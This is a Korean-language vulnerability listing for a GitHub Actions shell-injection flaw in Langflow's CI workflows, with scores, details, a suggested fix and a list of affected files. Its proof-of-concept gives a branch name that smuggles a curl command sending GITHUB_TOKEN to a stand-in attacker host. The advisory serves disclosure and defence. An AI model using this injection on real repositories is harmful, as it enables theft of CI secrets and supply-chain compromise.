CVE-2026-33475
Langflow GitHub Actions 셸 인젝션
- 게시됨
- 2026. 3. 24.
- 업데이트됨
- 2026. 3. 25.
- CNA 할당 중
- GitHub_M
- 증거 관찰됨
- 2026. 9. 5.
기본 CVSS
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N낮음 · 다음 30일
- 백분위수
- 86.5%
- 모델 날짜
- 2026. 9. 21.
EPSS는 통계적 추정치이지 확실성이나 영향의 척도가 아닙니다. 이를 CVSS, KEV 상태, 노출 및 환경과 결합하세요.
요약
Langflow는 AI 기반 에이전트와 워크플로우를 구축하고 배포하기 위한 도구입니다. Langflow 저장소의 1.9.0 이전 버전에 있는 여러 GitHub Actions 워크플로우에는 인증되지 않은 원격 셸 주입 취약점이 존재합니다. `run:` 단계에서 GitHub 컨텍스트 변수(예: `${{ github.head_ref }}`)의 비위생적인 보간은 악의적인 브랜치 이름이나 풀 리퀘스트 제목을 통해 공격자가 임의의 셸 명령을 주입하고 실행할 수 있게 합니다. 이는 CI/CD 실행 중 비밀 정보 유출(예: `GITHUB_TOKEN`), 인프라 조작 또는 공급망 손상으로 이어질 수 있습니다. 버전 1.9.0에서 이 취약점이 패치되었습니다. --- ### 세부 사항 `.github/workflows/` 및 `.github/actions/`의 여러 워크플로우는 `run:` 셸 명령에서 GitHub 컨텍스트 변수를 직접 참조합니다. 예: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` 또는: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` `github.head_ref`, `github.event.pull_request.title` 및 사용자 정의 `inputs.*`에는 **사용자 제어 값**이 포함될 수 있으므로 **신뢰할 수 없는 입력**으로 취급해야 합니다. 적절한 인용 또는 삭제 없이 직접 보간하면 셸 명령 주입이 발생합니다. --- ### PoC 1. Langflow 저장소를 **포크**합니다. 2. 다음 이름으로 **새 브랜치를 생성**합니다: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. 새 브랜치에서 메인 브랜치로 **풀 리퀘스트를 엽니다**. 4. GitHub Actions가 영향을 받는 워크플로우(예: `deploy-docs-draft.yml`)를 실행합니다. 5. 다음을 포함하는 `run:` 단계: ```yaml echo "Branch: ${{ github.head_ref }}" ``` 다음을 실행합니다: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. 공격자는 exfil URL을 통해 CI 비밀 정보를 수신합니다. --- ### 영향 - **유형:** CI의 셸 주입 / 원격 코드 실행 - **범위:** GitHub Actions가 활성화된 모든 공개 Langflow 포크 - **영향:** CI 비밀 정보(예: `GITHUB_TOKEN`)에 대한 전체 액세스, 악성 태그 또는 이미지 푸시 가능성, 릴리스 변조 또는 민감한 인프라 데이터 유출 --- ### 제안된 수정 사항 영향을 받는 워크플로우를 **환경 변수 사용** 및 **큰따옴표**로 묶도록 리팩터링합니다: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` 사용자 제어 값에 대해 `run:` 내부에서 직접 `${{ ... }}` 보간을 피하십시오. --- ### 영향을 받는 파일 (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
소스
1책임 있는 사용
귀하가 소유하고 있거나 테스트할 권한이 있는 시스템에 대해서만 취약점 정보를 사용하십시오. Kitploit은 공개 연구 메타데이터에 연결되며 익스플로잇 코드나 악성 페이로드를 저장하지 않습니다.